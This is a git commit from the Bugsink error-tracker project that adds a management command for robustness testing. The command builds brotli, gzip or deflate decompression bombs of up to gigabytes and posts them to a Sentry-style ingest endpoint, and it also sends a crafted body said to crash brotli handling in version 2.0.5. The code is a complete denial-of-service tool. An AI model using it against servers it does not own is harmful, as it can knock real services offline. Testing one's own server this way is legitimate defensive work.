Merge branch brotli-bombs-tests

This commit is contained in:
Klaas van Schelven
2025-11-11 10:01:23 +01:00
3 changed files with 480 additions and 2 deletions

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import io
import zlib
import os
import uuid
import brotli
import requests
from django.core.management.base import BaseCommand, CommandError
from bugsink.streams import WBITS_PARAM_FOR_GZIP, WBITS_PARAM_FOR_DEFLATE
from compat.dsn import get_envelope_url, get_header_value
KiB = 1024
MiB = 1024 * KiB
GiB = 1024 * MiB
class Command(BaseCommand):
# Tool to send a decompression bomb in the sentry-compatible envelope format to a server to test its robustness.
# Bugsink 2.0.4 and earlier are vulnerable to such attacks when brotli compression is used.
# See https://github.com/bugsink/bugsink/pull/266
help = "Send a decompresson bomb to test whether our live server is robust against such attacks."
def add_arguments(self, parser):
parser.add_argument("--dsn")
parser.add_argument("--size", type=str, default="1GiB",)
parser.add_argument("--compress", action="store", choices=["gzip", "deflate", "br"], default="br")
def _parse_size(self, size_str):
if size_str.endswith("G") or size_str.endswith("M") or size_str.endswith("K"):
size_str = size_str + "iB"
if size_str.endswith("GiB"):
return int(size_str[:-3]) * GiB
if size_str.endswith("MiB"):
return int(size_str[:-3]) * MiB
if size_str.endswith("KiB"):
return int(size_str[:-3]) * KiB
return int(size_str)
def handle(self, *args, **options):
compress = options['compress']
size = self._parse_size(options['size'])
if options['dsn'] is None:
if os.environ.get("SENTRY_DSN"):
dsn = os.environ["SENTRY_DSN"]
else:
raise CommandError(
"You must provide a DSN to send data to Sentry. Use --dsn or set SENTRY_DSN environment variable.")
else:
dsn = options['dsn']
if size == -1:
return self.send_random_data(dsn)
self.send_to_server(dsn, size, compress)
def send_random_data(self, dsn):
# the string "random" is not actually random since it has emperically been determined to trigger a failing code
# path in brotli decompression in Bugsin 2.0.5.
headers = {
"Content-Encoding": "br",
"Content-Type": "application/json",
}
response = requests.post(
get_envelope_url(dsn),
headers=headers,
data=b"random",
timeout=100,
)
print("Server responded with status code %d" % response.status_code)
print("Response content: %s" % response.content)
def construct_br_bomb(self, header, size):
construction_chunk_size = min(100 * MiB, size // 10)
print("Constructing bomb of size %d bytes..." % size)
brotli_compressor = brotli.Compressor()
output_stream = io.BytesIO()
output_stream.write(brotli_compressor.process(header))
print("Constructing chunk of size %d bytes..." % construction_chunk_size)
chunk = b'\x00' * construction_chunk_size
chunk_count = size // construction_chunk_size
for i in range(chunk_count):
print(" Adding chunk %d of %d..." % (i, chunk_count))
output_stream.write(brotli_compressor.process(chunk))
remaining = size - (chunk_count * construction_chunk_size)
if remaining > 0:
print(" Adding final chunk")
output_stream.write(brotli_compressor.process(b'\x00' * remaining))
output_stream.write(brotli_compressor.finish())
data_bytes = output_stream.getvalue()
print("Bomb constructed, size is %d bytes." % len(data_bytes))
return data_bytes
def br_bomb(self, header, size):
filename = "/tmp/br-bomb-%d" % size
if os.path.exists(filename):
with open(filename, "rb") as f:
data_bytes = f.read()
print("Using cached bomb %s of size %d bytes." % (filename, len(data_bytes)))
return data_bytes
data_bytes = self.construct_br_bomb(header, size)
with open(filename, "wb") as f:
f.write(data_bytes)
return data_bytes
def construct_zlib_bomb(self, header, size, wbits):
construction_chunk_size = min(100 * MiB, size // 10)
print("Constructing bomb of size %d bytes..." % size)
zlib_compressor = zlib.compressobj(level=9, wbits=wbits)
output_stream = io.BytesIO()
output_stream.write(zlib_compressor.compress(header))
print("Constructing chunk of size %d bytes..." % construction_chunk_size)
chunk = b'\x00' * construction_chunk_size
chunk_count = size // construction_chunk_size
for i in range(chunk_count):
print(" Adding chunk %d of %d..." % (i, chunk_count))
output_stream.write(zlib_compressor.compress(chunk))
remaining = size - (chunk_count * construction_chunk_size)
if remaining > 0:
print(" Adding final chunk")
output_stream.write(zlib_compressor.compress(b'\x00' * remaining))
output_stream.write(zlib_compressor.flush())
data_bytes = output_stream.getvalue()
print("Bomb constructed, size is %d bytes." % len(data_bytes))
return data_bytes
def zlib_bomb(self, header, size, wbits):
algo = "gzip" if wbits == WBITS_PARAM_FOR_GZIP else "deflate"
filename = "/tmp/%s-bomb-%d" % (algo, size)
if os.path.exists(filename):
with open(filename, "rb") as f:
data_bytes = f.read()
print("Using cached bomb %s of size %d bytes." % (filename, len(data_bytes)))
return data_bytes
data_bytes = self.construct_zlib_bomb(header, size, wbits)
with open(filename, "wb") as f:
f.write(data_bytes)
return data_bytes
def send_to_server(self, dsn, size, compress):
headers = {
"Content-Type": "application/json",
"X-Sentry-Auth": get_header_value(dsn),
}
event_id = uuid.uuid4().hex
# the smallest possible envelope:
header_bytes = (b'{"event_id":"%s"' % event_id.encode("utf-8") + b'}\n'
b'{"type":"attachment", "attachment_type": "event.minidump", "length": %d, ' % size +
b'"filename": "bomb.dmp"}\n')
if compress == "br":
headers["Content-Encoding"] = "br"
compressed_data = self.br_bomb(header_bytes, size)
response = requests.post(
get_envelope_url(dsn),
headers=headers,
data=compressed_data,
timeout=100,
)
elif compress in ["gzip", "deflate"]:
if compress == "gzip":
headers["Content-Encoding"] = "gzip"
wbits = WBITS_PARAM_FOR_GZIP
elif compress == "deflate":
headers["Content-Encoding"] = "deflate"
wbits = WBITS_PARAM_FOR_DEFLATE
compressed_data = self.zlib_bomb(header_bytes, size, wbits)
response = requests.post(
get_envelope_url(dsn),
headers=headers,
data=compressed_data,
timeout=100,
)
else:
raise Exception("Unsupported compression method: %s" % compress)
print("Server responded with status code %d" % response.status_code)
print("Response content: %s" % response.content)